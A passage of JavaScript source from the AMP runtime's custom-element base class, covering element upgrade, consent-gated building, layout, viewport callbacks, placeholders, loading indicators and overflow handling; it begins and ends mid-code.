if (this.everAttached) { // Usually, we do an implementation upgrade when the element is // attached to the DOM. But, if it hadn't yet upgraded from // ElementStub, we couldn't. Now that it's upgraded from a stub, go // ahead and do the full upgrade. this.tryUpgrade_(); } } /** * Time delay imposed by baseElement upgradeCallback. If no * upgradeCallback specified or not yet executed, delay is 0. * @return {number} */ getUpgradeDelayMs() { return this.upgradeDelayMs_; } /** * Completes the upgrade of the element with the provided implementation. * @param {!./base-element.BaseElement} newImpl * @param {number} upgradeStartTime * @final @private */ completeUpgrade_(newImpl, upgradeStartTime) { this.upgradeDelayMs_ = win.Date.now() - upgradeStartTime; this.upgradeState_ = UpgradeState.UPGRADED; this.implementation_ = newImpl; this.classList.remove('amp-unresolved'); this.classList.remove('i-amphtml-unresolved'); this.implementation_.createdCallback(); this.assertLayout_(); // TODO(wg-runtime): Don't set BaseElement ivars externally. this.implementation_.layout_ = this.layout_; this.implementation_.firstAttachedCallback(); this.dispatchCustomEventForTesting(AmpEvents.ATTACHED); this.getResources().upgraded(this); this.signals_.signal(CommonSignals.UPGRADED); } /** @private */ assertLayout_() { if ( this.layout_ != Layout.NODISPLAY && !this.implementation_.isLayoutSupported(this.layout_) ) { userAssert( this.getAttribute('layout'), 'The element did not specify a layout attribute. ' + 'Check https://amp.dev/documentation/guides-and-tutorials/' + 'develop/style_and_layout/control_layout and the respective ' + 'element documentation for details.' ); userAssert(false, `Layout not supported: ${this.layout_}`); } } /** * Whether the element has been built. A built element had its * {@link buildCallback} method successfully invoked. * @return {boolean} * @final */ isBuilt() { return this.built_; } /** * Returns the promise that's resolved when the element has been built. If * the build fails, the resulting promise is rejected. * @return {!Promise} */ whenBuilt() { return this.signals_.whenSignal(CommonSignals.BUILT); } /** * Get the priority to load the element. * @return {number} */ getLayoutPriority() { devAssert(this.isUpgraded(), 'Cannot get priority of unupgraded element'); return this.implementation_.getLayoutPriority(); } /** * TODO(wg-runtime, #25824): Make Resource.getLayoutBox() the source of truth. * @return {number} * @deprecated */ getLayoutWidth() { return this.layoutWidth_; } /** * Get the default action alias. * @return {?string} */ getDefaultActionAlias() { devAssert( this.isUpgraded(), 'Cannot get default action alias of unupgraded element' ); return this.implementation_.getDefaultActionAlias(); } /** @return {boolean} */ isBuilding() { return !!this.buildingPromise_; } /** * Requests or requires the element to be built. The build is done by * invoking {@link BaseElement.buildCallback} method. * * Can only be called on a upgraded element. May only be called from * resource.js to ensure an element and its resource are in sync. * * @return {?Promise} * @final */ build() { assertNotTemplate(this); devAssert(this.isUpgraded(), 'Cannot build unupgraded element'); if (this.buildingPromise_) { return this.buildingPromise_; } return (this.buildingPromise_ = new Promise((resolve, reject) => { const policyId = this.getConsentPolicy_(); if (!policyId) { resolve(this.implementation_.buildCallback()); } else { Services.consentPolicyServiceForDocOrNull(this) .then((policy) => { if (!policy) { return true; } return policy.whenPolicyUnblock(/** @type {string} */ (policyId)); }) .then((shouldUnblock) => { if (shouldUnblock) { resolve(this.implementation_.buildCallback()); } else { reject(blockedByConsentError()); } }); } }).then( () => { this.preconnect(/* onLayout */ false); this.built_ = true; this.classList.remove('i-amphtml-notbuilt'); this.classList.remove('amp-notbuilt'); this.signals_.signal(CommonSignals.BUILT); if (this.isInViewport_) { this.updateInViewport_(true); } if (this.actionQueue_) { // Only schedule when the queue is not empty, which should be // the case 99% of the time. Services.timerFor(toWin(this.ownerDocument.defaultView)).delay( this.dequeueActions_.bind(this), 1 ); } if (!this.getPlaceholder()) { const placeholder = this.createPlaceholder(); if (placeholder) { this.appendChild(placeholder); } } }, (reason) => { this.signals_.rejectSignal( CommonSignals.BUILT, /** @type {!Error} */ (reason) ); if (!isBlockedByConsent(reason)) { reportError(reason, this); } throw reason; } )); } /** * Called to instruct the element to preconnect to hosts it uses during * layout. * @param {boolean} onLayout Whether this was called after a layout. */ preconnect(onLayout) { if (onLayout) { this.implementation_.preconnectCallback(onLayout); } else { // If we do early preconnects we delay them a bit. This is kind of // an unfortunate trade off, but it seems faster, because the DOM // operations themselves are not free and might delay startupChunk(this.getAmpDoc(), () => { const TAG = this.tagName; if (!this.ownerDocument) { dev().error(TAG, 'preconnect without ownerDocument'); return; } else if (!this.ownerDocument.defaultView) { dev().error(TAG, 'preconnect without defaultView'); return; } this.implementation_.preconnectCallback(onLayout); }); } } /** * Whether the custom element declares that it has to be fixed. * @return {boolean} */ isAlwaysFixed() { return this.implementation_.isAlwaysFixed(); } /** * Updates the layout box of the element. * Should only be called by Resources. * @param {!./layout-rect.LayoutRectDef} layoutBox * @param {boolean} sizeChanged */ updateLayoutBox(layoutBox, sizeChanged = false) { this.layoutWidth_ = layoutBox.width; this.layoutHeight_ = layoutBox.height; if (this.isBuilt()) { this.onMeasure(sizeChanged); } } /** * Calls onLayoutMeasure() (and onMeasureChanged() if size changed) * on the BaseElement implementation. * Should only be called by Resources. * @param {boolean} sizeChanged */ onMeasure(sizeChanged = false) { devAssert(this.isBuilt()); try { this.implementation_.onLayoutMeasure(); if (sizeChanged) { this.implementation_.onMeasureChanged(); } } catch (e) { reportError(e, this); } } /** * @return {?Element} * @private */ getSizer_() { if ( this.sizerElement === undefined && (this.layout_ === Layout.RESPONSIVE || this.layout_ === Layout.INTRINSIC) ) { // Expect sizer to exist, just not yet discovered. this.sizerElement = this.querySelector('i-amphtml-sizer'); } return this.sizerElement || null; } /** * @param {Element} sizer * @private */ resetSizer_(sizer) { if (this.layout_ === Layout.RESPONSIVE) { setStyle(sizer, 'paddingTop', '0'); return; } if (this.layout_ === Layout.INTRINSIC) { const intrinsicSizerImg = sizer.querySelector( '.i-amphtml-intrinsic-sizer' ); if (!intrinsicSizerImg) { return; } intrinsicSizerImg.setAttribute('src', ''); return; } } /** * If the element has a media attribute, evaluates the value as a media * query and based on the result adds or removes the class * `i-amphtml-hidden-by-media-query`. The class adds display:none to the * element which in turn prevents any of the resource loading to happen for * the element. * * This method is called by Resources and shouldn't be called by anyone * else. * * @final * @package */ applySizesAndMediaQuery() { assertNotTemplate(this); // Media query. if (this.mediaQuery_ === undefined) { this.mediaQuery_ = this.getAttribute('media') || null; } if (this.mediaQuery_) { const {defaultView} = this.ownerDocument; this.classList.toggle( 'i-amphtml-hidden-by-media-query', !defaultView.matchMedia(this.mediaQuery_).matches ); } // Sizes. if (this.sizeList_ === undefined) { const sizesAttr = this.getAttribute('sizes'); const isDisabled = this.hasAttribute('disable-inline-width'); this.sizeList_ = !isDisabled && sizesAttr ? parseSizeList(sizesAttr) : null; } if (this.sizeList_) { setStyle( this, 'width', this.sizeList_.select(toWin(this.ownerDocument.defaultView)) ); } // Heights. if ( this.heightsList_ === undefined && this.layout_ === Layout.RESPONSIVE ) { const heightsAttr = this.getAttribute('heights'); this.heightsList_ = heightsAttr ? parseSizeList(heightsAttr, /* allowPercent */ true) : null; } if (this.heightsList_) { const sizer = this.getSizer_(); if (sizer) { setStyle( sizer, 'paddingTop', this.heightsList_.select(toWin(this.ownerDocument.defaultView)) ); } } } /** * Applies a size change to the element. * * This method is called by Resources and shouldn't be called by anyone * else. This method must always be called in the mutation context. * * @param {number|undefined} newHeight * @param {number|undefined} newWidth * @param {!./layout-rect.LayoutMarginsDef=} opt_newMargins * @final * @package */ applySize(newHeight, newWidth, opt_newMargins) { const sizer = this.getSizer_(); if (sizer) { // From the moment height is changed the element becomes fully // responsible for managing its height. Aspect ratio is no longer // preserved. this.sizerElement = null; this.resetSizer_(sizer); this.mutateOrInvoke_(() => { if (sizer) { dom.removeElement(sizer); } }); } if (newHeight !== undefined) { setStyle(this, 'height', newHeight, 'px'); } if (newWidth !== undefined) { setStyle(this, 'width', newWidth, 'px'); } if (opt_newMargins) { if (opt_newMargins.top != null) { setStyle(this, 'marginTop', opt_newMargins.top, 'px'); } if (opt_newMargins.right != null) { setStyle(this, 'marginRight', opt_newMargins.right, 'px'); } if (opt_newMargins.bottom != null) { setStyle(this, 'marginBottom', opt_newMargins.bottom, 'px'); } if (opt_newMargins.left != null) { setStyle(this, 'marginLeft', opt_newMargins.left, 'px'); } } if (this.isAwaitingSize_()) { this.sizeProvided_(); } this.dispatchCustomEvent(AmpEvents.SIZE_CHANGED); } /** * Called when the element is first connected to the DOM. Calls * {@link firstAttachedCallback} if this is the first attachment. * * This callback is guarded by checks to see if the element is still * connected. Chrome and Safari can trigger connectedCallback even when * the node is disconnected. See #12849, https://crbug.com/821195, and * https://bugs.webkit.org/show_bug.cgi?id=180940. Thankfully, * connectedCallback will later be called when the disconnected root is * connected to the document tree. * * @final */ connectedCallback() { if (!isTemplateTagSupported() && this.isInTemplate_ === undefined) { this.isInTemplate_ = !!dom.closestAncestorElementBySelector( this, 'template' ); } if (this.isInTemplate_) { return; } if (this.isConnected_ || !dom.isConnectedNode(this)) { return; } this.isConnected_ = true; if (!this.everAttached) { this.classList.add('i-amphtml-element'); this.classList.add('i-amphtml-notbuilt'); this.classList.add('amp-notbuilt'); } if (!this.ampdoc_) { // Ampdoc can now be initialized. const win = toWin(this.ownerDocument.defaultView); const ampdocService = Services.ampdocServiceFor(win); const ampdoc = ampdocService.getAmpDoc(this); this.ampdoc_ = ampdoc; // Load the pre-stubbed extension if needed. const extensionId = this.tagName.toLowerCase(); if ( isStub(this.implementation_) && !ampdoc.declaresExtension(extensionId) ) { Services.extensionsFor(win).installExtensionForDoc( ampdoc, extensionId ); } } if (!this.resources_) { // Resources can now be initialized since the ampdoc is now available. this.resources_ = Services.resourcesForDoc(this.ampdoc_); } this.getResources().add(this); if (this.everAttached) { const reconstruct = this.reconstructWhenReparented(); if (reconstruct) { this.reset_(); } if (this.isUpgraded()) { if (reconstruct) { this.getResources().upgraded(this); } this.dispatchCustomEventForTesting(AmpEvents.ATTACHED); } } else { this.everAttached = true; try { this.layout_ = applyStaticLayout( this, Services.platformFor(toWin(this.ownerDocument.defaultView)).isIe() ); } catch (e) { reportError(e, this); } if (!isStub(this.implementation_)) { this.tryUpgrade_(); } if (!this.isUpgraded()) { this.classList.add('amp-unresolved'); this.classList.add('i-amphtml-unresolved'); // amp:attached is dispatched from the ElementStub class when it // replayed the firstAttachedCallback call. this.dispatchCustomEventForTesting(AmpEvents.STUBBED); } // Classically, sizes/media queries are applied just before // Resource.measure. With IntersectionObserver, observe() is the // equivalent which happens above in Resources.add(). Applying here // also avoids unnecessary reinvocation during reparenting. if (this.getResources().isIntersectionExperimentOn()) { this.applySizesAndMediaQuery(); } } } /** * @return {boolean} * @private */ isAwaitingSize_() { return this.classList.contains('i-amphtml-layout-awaiting-size'); } /** * @private */ sizeProvided_() { this.classList.remove('i-amphtml-layout-awaiting-size'); } /** The Custom Elements V0 sibling to `connectedCallback`. */ attachedCallback() { this.connectedCallback(); } /** * Try to upgrade the element with the provided implementation. * @private @final */ tryUpgrade_() { const impl = this.implementation_; devAssert(!isStub(impl), 'Implementation must not be a stub'); if (this.upgradeState_ != UpgradeState.NOT_UPGRADED) { // Already upgraded or in progress or failed. return; } // The `upgradeCallback` only allows redirect once for the top-level // non-stub class. We may allow nested upgrades later, but they will // certainly be bad for performance. this.upgradeState_ = UpgradeState.UPGRADE_IN_PROGRESS; const startTime = win.Date.now(); const res = impl.upgradeCallback(); if (!res) { // Nothing returned: the current object is the upgraded version. this.completeUpgrade_(impl, startTime); } else if (typeof res.then == 'function') { // It's a promise: wait until it's done. res .then((upgrade) => { this.completeUpgrade_(upgrade || impl, startTime); }) .catch((reason) => { this.upgradeState_ = UpgradeState.UPGRADE_FAILED; rethrowAsync(reason); }); } else { // It's an actual instance: upgrade immediately. this.completeUpgrade_( /** @type {!./base-element.BaseElement} */ (res), startTime ); } } /** * Called when the element is disconnected from the DOM. * * @final */ disconnectedCallback() { this.disconnect(/* pretendDisconnected */ false); } /** The Custom Elements V0 sibling to `disconnectedCallback`. */ detachedCallback() { this.disconnectedCallback(); } /** * Called when an element is disconnected from DOM, or when an ampDoc is * being disconnected (the element itself may still be connected to ampDoc). * * This callback is guarded by checks to see if the element is still * connected. See #12849, https://crbug.com/821195, and * https://bugs.webkit.org/show_bug.cgi?id=180940. * If the element is still connected to the document, you'll need to pass * opt_pretendDisconnected. * * @param {boolean} pretendDisconnected Forces disconnection regardless * of DOM isConnected. */ disconnect(pretendDisconnected) { if (this.isInTemplate_ || !this.isConnected_) { return; } if (!pretendDisconnected && dom.isConnectedNode(this)) { return; } // This path only comes from Resource#disconnect, which deletes the // Resource instance tied to this element. Therefore, it is no longer // an AMP Element. But, DOM queries for i-amphtml-element assume that // the element is tied to a Resource. if (pretendDisconnected) { this.classList.remove('i-amphtml-element'); } this.isConnected_ = false; this.getResources().remove(this); this.implementation_.detachedCallback(); } /** * Dispatches a custom event. * * @param {string} name * @param {!Object=} opt_data Event data. * @final */ dispatchCustomEvent(name, opt_data) { const data = opt_data || {}; // Constructors of events need to come from the correct window. Sigh. const event = this.ownerDocument.createEvent('Event'); event.data = data; event.initEvent(name, /* bubbles */ true, /* cancelable */ true); this.dispatchEvent(event); } /** * Dispatches a custom event only in testing environment. * * @param {string} name * @param {!Object=} opt_data Event data. * @final */ dispatchCustomEventForTesting(name, opt_data) { if (!getMode().test) { return; } this.dispatchCustomEvent(name, opt_data); } /** * Whether the element can pre-render. * @return {boolean} * @final */ prerenderAllowed() { return this.implementation_.prerenderAllowed(); } /** * Whether the element has render-blocking service. * @return {boolean} * @final */ isBuildRenderBlocking() { return this.implementation_.isBuildRenderBlocking(); } /** * Creates a placeholder for the element. * @return {?Element} * @final */ createPlaceholder() { return this.implementation_.createPlaceholderCallback(); } /** * Creates a loader logo. * @return {{ * content: (!Element|undefined), * color: (string|undefined), * }} * @final */ createLoaderLogo() { return this.implementation_.createLoaderLogoCallback(); } /** * Whether the element should ever render when it is not in viewport. * @return {boolean|number} * @final */ renderOutsideViewport() { return this.implementation_.renderOutsideViewport(); } /** * Whether the element should render outside of renderOutsideViewport when * the scheduler is idle. * @return {boolean|number} * @final */ idleRenderOutsideViewport() { return this.implementation_.idleRenderOutsideViewport(); } /** * Returns a previously measured layout box adjusted to the viewport. This * mainly affects fixed-position elements that are adjusted to be always * relative to the document position in the viewport. * @return {!./layout-rect.LayoutRectDef} * @final */ getLayoutBox() { return this.getResource_().getLayoutBox(); } /** * Returns a previously measured layout box relative to the page. The * fixed-position elements are relative to the top of the document. * @return {!./layout-rect.LayoutRectDef} * @final */ getPageLayoutBox() { return this.getResource_().getPageLayoutBox(); } /** * @return {?Element} * @final */ getOwner() { return this.getResource_().getOwner(); } /** * Returns a change entry for that should be compatible with * IntersectionObserverEntry. * @return {!IntersectionObserverEntry} A change entry. * @final */ getIntersectionChangeEntry() { const box = this.implementation_.getIntersectionElementLayoutBox(); const owner = this.getOwner(); const viewportBox = this.implementation_.getViewport().getRect(); // TODO(jridgewell, #4826): We may need to make this recursive. const ownerBox = owner && owner.getLayoutBox(); return getIntersectionChangeEntry(box, ownerBox, viewportBox); } /** * Returns the resource of the element. * @return {!./service/resource.Resource} * @private */ getResource_() { return this.getResources().getResourceForElement(this); } /** * Returns the resource ID of the element. * @return {number} */ getResourceId() { return this.getResource_().getId(); } /** * The runtime calls this method to determine if {@link layoutCallback} * should be called again when layout changes. * @return {boolean} * @package @final */ isRelayoutNeeded() { return this.implementation_.isRelayoutNeeded(); } /** * Returns reference to upgraded implementation. * @param {boolean} waitForBuild If true, waits for element to be built before * resolving the returned Promise. Default is true. * @return {!Promise<!./base-element.BaseElement>} */ getImpl(waitForBuild = true) { const waitFor = waitForBuild ? this.whenBuilt() : this.whenUpgraded(); return waitFor.then(() => this.implementation_); } /** * Returns the layout of the element. * @return {!Layout} */ getLayout() { return this.layout_; } /** * Instructs the element to layout its content and load its resources if * necessary by calling the {@link BaseElement.layoutCallback} method that * should be implemented by BaseElement subclasses. Must return a promise * that will yield when the layout and associated loadings are complete. * * This method is always called for the first layout, but for subsequent * layouts the runtime consults {@link isRelayoutNeeded} method. * * Can only be called on a upgraded and built element. * * @return {!Promise} * @package @final */ layoutCallback() { assertNotTemplate(this); devAssert(this.isBuilt(), 'Must be built to receive viewport events'); this.dispatchCustomEventForTesting(AmpEvents.LOAD_START); const isLoadEvent = this.layoutCount_ == 0; // First layout is "load". this.signals_.reset(CommonSignals.UNLOAD); if (isLoadEvent) { this.signals_.signal(CommonSignals.LOAD_START); } if (this.perfOn_) { this.getLayoutDelayMeter_().startLayout(); } const promise = tryResolve(() => this.implementation_.layoutCallback()); this.preconnect(/* onLayout */ true); this.classList.add('i-amphtml-layout'); return promise.then( () => { if (isLoadEvent) { this.signals_.signal(CommonSignals.LOAD_END); } this.readyState = 'complete'; this.layoutCount_++; this.toggleLoading(false, {cleanup: true}); // Check if this is the first success layout that needs // to call firstLayoutCompleted. if (!this.isFirstLayoutCompleted_) { this.implementation_.firstLayoutCompleted(); this.isFirstLayoutCompleted_ = true; this.dispatchCustomEventForTesting(AmpEvents.LOAD_END); } }, (reason) => { // add layoutCount_ by 1 despite load fails or not if (isLoadEvent) { this.signals_.rejectSignal( CommonSignals.LOAD_END, /** @type {!Error} */ (reason) ); } this.layoutCount_++; this.toggleLoading(false, {cleanup: true}); throw reason; } ); } /** * Whether the resource is currently visible in the viewport. * @return {boolean} * @final @package */ isInViewport() { return this.isInViewport_; } /** * Instructs the resource that it entered or exited the visible viewport. * * Can only be called on a upgraded and built element. * * @param {boolean} inViewport Whether the element has entered or exited * the visible viewport. * @final @package */ viewportCallback(inViewport) { assertNotTemplate(this); if (inViewport == this.isInViewport_) { return; } // TODO(dvoytenko, #9177): investigate/cleanup viewport signals for // elements in dead iframes. if (!this.ownerDocument || !this.ownerDocument.defaultView) { return; } this.isInViewport_ = inViewport; if (this.layoutCount_ == 0) { if (!inViewport) { this.toggleLoading(false); } else { // Set a minimum delay in case the element loads very fast or if it // leaves the viewport. const loadingStartTime = win.Date.now(); Services.timerFor(toWin(this.ownerDocument.defaultView)).delay(() => { // TODO(dvoytenko, #9177): cleanup `this.ownerDocument.defaultView` // once investigation is complete. It appears that we get a lot of // errors here once the iframe is destroyed due to timer. if ( this.isInViewport_ && this.ownerDocument && this.ownerDocument.defaultView && this.layoutCount_ === 0 // Ensures that layoutCallback hasn't completed in this 100ms window. ) { this.toggleLoading(true, {startTime: loadingStartTime}); } }, 100); } } if (this.isBuilt()) { this.updateInViewport_(inViewport); } } /** * @param {boolean} inViewport * @private */ updateInViewport_(inViewport) { this.implementation_.inViewport_ = inViewport; this.implementation_.viewportCallback(inViewport); if (inViewport && this.perfOn_) { this.getLayoutDelayMeter_().enterViewport(); } } /** * Whether the resource is currently paused. * @return {boolean} * @final @package */ isPaused() { return this.paused_; } /** * Requests the resource to stop its activity when the document goes into * inactive state. The scope is up to the actual component. Among other * things the active playback of video or audio content must be stopped. * * @package @final */ pauseCallback() { assertNotTemplate(this); if (this.paused_) { return; } this.paused_ = true; this.viewportCallback(false); if (this.isBuilt()) { this.implementation_.pauseCallback(); } } /** * Requests the resource to resume its activity when the document returns * from an inactive state. The scope is up to the actual component. Among * other things the active playback of video or audio content may be * resumed. * * @package @final */ resumeCallback() { assertNotTemplate(this); if (!this.paused_) { return; } this.paused_ = false; if (this.isBuilt()) { this.implementation_.resumeCallback(); } } /** * Requests the element to unload any expensive resources when the element * goes into non-visible state. The scope is up to the actual component. * * Calling this method on unbuilt or unupgraded element has no effect. * * @return {boolean} * @package @final */ unlayoutCallback() { assertNotTemplate(this); if (!this.isBuilt()) { return false; } this.signals_.signal(CommonSignals.UNLOAD); const isReLayoutNeeded = this.implementation_.unlayoutCallback(); if (isReLayoutNeeded) { this.reset_(); } this.dispatchCustomEventForTesting(AmpEvents.UNLOAD); return isReLayoutNeeded; } /** @private */ reset_() { this.layoutCount_ = 0; this.isFirstLayoutCompleted_ = false; this.signals_.reset(CommonSignals.RENDER_START); this.signals_.reset(CommonSignals.LOAD_START); this.signals_.reset(CommonSignals.LOAD_END); this.signals_.reset(CommonSignals.INI_LOAD); } /** * Whether to call {@link unlayoutCallback} when pausing the element. * Certain elements cannot properly pause (like amp-iframes with unknown * video content), and so we must unlayout to stop playback. * * @return {boolean} * @package @final */ unlayoutOnPause() { return this.implementation_.unlayoutOnPause(); } /** * Whether the element needs to be reconstructed after it has been * re-parented. Many elements cannot survive fully the reparenting and * are better to be reconstructed from scratch. * * @return {boolean} * @package @final */ reconstructWhenReparented() { return this.implementation_.reconstructWhenReparented(); } /** * Collapses the element, and notifies its owner (if there is one) that the * element is no longer present. */ collapse() { this.implementation_./*OK*/ collapse(); } /** * Called every time an owned AmpElement collapses itself. * @param {!AmpElement} element */ collapsedCallback(element) { this.implementation_.collapsedCallback(element); } /** * Expands the element, and notifies its owner (if there is one) that the * element is now present. */ expand() { this.implementation_./*OK*/ expand(); } /** * Called every time an owned AmpElement expands itself. * @param {!AmpElement} element */ expandedCallback(element) { this.implementation_.expandedCallback(element); } /** * Called when one or more attributes are mutated. * Note: Must be called inside a mutate context. * Note: Boolean attributes have a value of `true` and `false` when * present and missing, respectively. * @param {!JsonObject<string, (null|boolean|string|number|Array|Object)>} mutations */ mutatedAttributesCallback(mutations) { this.implementation_.mutatedAttributesCallback(mutations); } /** * Enqueues the action with the element. If element has been upgraded and * built, the action is dispatched to the implementation right away. * Otherwise the invocation is enqueued until the implementation is ready * to receive actions. * @param {!./service/action-impl.ActionInvocation} invocation * @final */ enqueAction(invocation) { assertNotTemplate(this); if (!this.isBuilt()) { if (this.actionQueue_ === undefined) { this.actionQueue_ = []; } devAssert(this.actionQueue_).push(invocation); } else { this.executionAction_(invocation, false); } } /** * Dequeues events from the queue and dispatches them to the implementation * with "deferred" flag. * @private */ dequeueActions_() { if (!this.actionQueue_) { return; } const actionQueue = devAssert(this.actionQueue_); this.actionQueue_ = null; // Notice, the actions are currently not de-duped. actionQueue.forEach((invocation) => { this.executionAction_(invocation, true); }); } /** * Executes the action immediately. All errors are consumed and reported. * @param {!./service/action-impl.ActionInvocation} invocation * @param {boolean} deferred * @final * @private */ executionAction_(invocation, deferred) { try { this.implementation_.executeAction(invocation, deferred); } catch (e) { rethrowAsync( 'Action execution failed:', e, invocation.node.tagName, invocation.method ); } } /** * Get the consent policy to follow. * @return {?string} */ getConsentPolicy_() { let policyId = this.getAttribute('data-block-on-consent'); if (policyId === null) { if (shouldBlockOnConsentByMeta(this)) { policyId = 'default'; this.setAttribute('data-block-on-consent', policyId); } else { // data-block-on-consent attribute not set return null; } } if (policyId == '' || policyId == 'default') { // data-block-on-consent value not set, up to individual element // Note: data-block-on-consent and data-block-on-consent='default' is // treated exactly the same return this.implementation_.getConsentPolicy(); } return policyId; } /** * Returns the original nodes of the custom element without any service * nodes that could have been added for markup. These nodes can include * Text, Comment and other child nodes. * @return {!Array<!Node>} * @package @final */ getRealChildNodes() { return dom.childNodes(this, (node) => !isInternalOrServiceNode(node)); } /** * Returns the original children of the custom element without any service * nodes that could have been added for markup. * @return {!Array<!Element>} * @package @final */ getRealChildren() { return dom.childElements( this, (element) => !isInternalOrServiceNode(element) ); } /** * Returns an optional placeholder element for this custom element. * @return {?Element} * @package @final */ getPlaceholder() { return dom.lastChildElement(this, (el) => { return ( el.hasAttribute('placeholder') && // Denylist elements that has a native placeholder property // like input and textarea. These are not allowed to be AMP // placeholders. !isInputPlaceholder(el) ); }); } /** * Hides or shows the placeholder, if available. * @param {boolean} show * @package @final */ togglePlaceholder(show) { assertNotTemplate(this); if (show) { const placeholder = this.getPlaceholder(); if (placeholder) { dev().assertElement(placeholder).classList.remove('amp-hidden'); } } else { const placeholders = dom.childElementsByAttr(this, 'placeholder'); for (let i = 0; i < placeholders.length; i++) { // Don't toggle elements with a native placeholder property // e.g. input, textarea if (isInputPlaceholder(placeholders[i])) { continue; } placeholders[i].classList.add('amp-hidden'); } } } /** * Returns an optional fallback element for this custom element. * @return {?Element} * @package @final */ getFallback() { return dom.childElementByAttr(this, 'fallback'); } /** * Hides or shows the fallback, if available. This function must only * be called inside a mutate context. * @param {boolean} show * @package @final */ toggleFallback(show) { assertNotTemplate(this); const resourceState = this.getResource_().getState(); // Do not show fallback before layout if ( show && (resourceState == ResourceState.NOT_BUILT || resourceState == ResourceState.NOT_LAID_OUT || resourceState == ResourceState.READY_FOR_LAYOUT) ) { return; } // This implementation is notably less efficient then placeholder // toggling. The reasons for this are: (a) "not supported" is the state of // the whole element, (b) some relayout is expected and (c) fallback // condition would be rare. this.classList.toggle('amp-notsupported', show); if (show == true) { const fallbackElement = this.getFallback(); if (fallbackElement) { Services.ownersForDoc(this.getAmpDoc()).scheduleLayout( this, fallbackElement ); } } } /** * An implementation can call this method to signal to the element that * it has started rendering. * @package @final */ renderStarted() { this.signals_.signal(CommonSignals.RENDER_START); this.togglePlaceholder(false); this.toggleLoading(false); } /** * Whether the loading can be shown for this element. * @return {boolean} * @private */ isLoadingEnabled_() { // No loading indicator will be shown if either one of these conditions // true: // 1. The document is A4A. // 2. `noloading` attribute is specified; // 3. The element has already been laid out, and does not support reshowing the indicator (include having loading // error); // 4. The element is too small or has not yet been measured; // 5. The element has not been allowlisted; // 6. The element is an internal node (e.g. `placeholder` or `fallback`); // 7. The element's layout is not nodisplay. if (this.isInA4A()) { return false; } if (this.loadingDisabled_ === undefined) { this.loadingDisabled_ = this.hasAttribute('noloading'); } const laidOut = this.layoutCount_ > 0 || this.signals_.get(CommonSignals.RENDER_START); if ( this.loadingDisabled_ || (laidOut && !this.implementation_.isLoadingReused()) || this.layoutWidth_ <= 0 || // Layout is not ready or invisible !isLoadingAllowed(this) || isInternalOrServiceNode(this) || this.layout_ == Layout.NODISPLAY ) { return false; } return true; } /** * @return {boolean} */ isInA4A() { return ( // in FIE (this.ampdoc_ && this.ampdoc_.win != this.ownerDocument.defaultView) || // in inabox getMode().runtime == 'inabox' ); } /** * Creates a loading object. The caller must ensure that loading can * actually be shown. This method must also be called in the mutate * context. * @private * @param {number=} startTime */ prepareLoading_(startTime) { if (!this.isLoadingEnabled_()) { return; } if (!this.loadingContainer_) { const doc = this.ownerDocument; devAssert(doc); const container = htmlFor(/** @type {!Document} */ (doc))` <div class="i-amphtml-loading-container i-amphtml-fill-content amp-hidden"></div>`; const loadingElement = createLoaderElement( this.getAmpDoc(), this, this.layoutWidth_, this.layoutHeight_, startTime ); container.appendChild(loadingElement); this.appendChild(container); this.loadingContainer_ = container; this.loadingElement_ = loadingElement; } } /** * Turns the loading indicator on or off. * @param {boolean} state * @param {{cleanup:(boolean|undefined), startTime:(number|undefined)}=} opt_options * @public @final */ toggleLoading(state, opt_options) { const cleanup = opt_options && opt_options.cleanup; const startTime = opt_options && opt_options.startTime; assertNotTemplate(this); if (state === this.loadingState_ && !opt_options) { // Loading state is the same. return; } this.loadingState_ = state; if (!state && !this.loadingContainer_) { return; } // Check if loading should be shown. if (state && !this.isLoadingEnabled_()) { this.loadingState_ = false; return; } this.mutateOrInvoke_( () => { let state = this.loadingState_; // Repeat "loading enabled" check because it could have changed while // waiting for vsync. if (state && !this.isLoadingEnabled_()) { state = false; } if (state) { this.prepareLoading_(startTime); } if (!this.loadingContainer_) { return; } this.loadingContainer_.classList.toggle('amp-hidden', !state); this.loadingElement_.classList.toggle('amp-active', state); if (!state && cleanup && !this.implementation_.isLoadingReused()) { const loadingContainer = this.loadingContainer_; this.loadingContainer_ = null; this.loadingElement_ = null; this.mutateOrInvoke_( () => { dom.removeElement(loadingContainer); }, undefined, true ); } }, undefined, /* skipRemeasure */ true ); } /** * Returns an optional overflow element for this custom element. * @return {!./layout-delay-meter.LayoutDelayMeter} */ getLayoutDelayMeter_() { if (!this.layoutDelayMeter_) { this.layoutDelayMeter_ = new LayoutDelayMeter( toWin(this.ownerDocument.defaultView), this.getLayoutPriority() ); } return this.layoutDelayMeter_; } /** * Returns an optional overflow element for this custom element. * @return {?Element} */ getOverflowElement() { if (this.overflowElement_ === undefined) { this.overflowElement_ = dom.childElementByAttr(this, 'overflow'); if (this.overflowElement_) { if (!this.overflowElement_.hasAttribute('tabindex')) { this.overflowElement_.setAttribute('tabindex', '0'); } if (!this.overflowElement_.hasAttribute('role')) { this.overflowElement_.setAttribute('role', 'button'); } } } return this.overflowElement_; } /** * Hides or shows the overflow, if available. This function must only * be called inside a mutate context. * @param {boolean} overflown * @param {number|undefined} requestedHeight * @param {number|undefined} requestedWidth * @package @final */ overflowCallback(overflown, requestedHeight, requestedWidth) { this.getOverflowElement(); if (!this.overflowElement_) { if (overflown && this.warnOnMissingOverflow) { user().warn( TAG, 'Cannot resize element and overflow is not available', this ); } } else { this.overflowElement_.classList.toggle('amp-visible', overflown); if (overflown) { this.overflowElement_.onclick = () => { const mutator = Services.mutatorForDoc(this.getAmpDoc()); mutator.forceChangeSize(this, requestedHeight, requestedWidth); mutator.mutateElement(this, () => { this.overflowCallback( /* overflown */ false, requestedHeight, requestedWidth ); }); }; } else { this.overflowElement_.onclick = null; } } } /** * Mutates the element using resources if available. * * @param {function()} mutator * @param {?Element=} opt_element * @param {boolean=} opt_skipRemeasure */ mutateOrInvoke_(mutator, opt_element, opt_skipRemeasure = false) { if (this.ampdoc_) { Services.mutatorForDoc(this.getAmpDoc()).mutateElement( opt_element || this, mutator, opt_skipRemeasure ); } else { mutator(); } } } win.__AMP_BASE_CE_CLASS = BaseCustomElement; return /** @type {typeof HTMLElement} */ (win.__AMP_BASE_CE_CLASS); } /** * @param {!Element} element * @return {boolean} */ function isInputPlaceholder(element) { return 'placeholder' in element; } /** @param {!Element} element */ function assertNotTemplate(element) { devAssert(!element.isInTemplate_, 'Must never be called in template'); } /** * Whether the implementation is a stub. * @param {?./base-element.BaseElement} impl * @return {boolean} */ function isStub(impl) { return impl instanceof ElementStub; } /** * Returns "true" for internal AMP nodes or for placeholder elements. * @param {!Node} node * @return {boolean} */ function isInternalOrServiceNode(node) 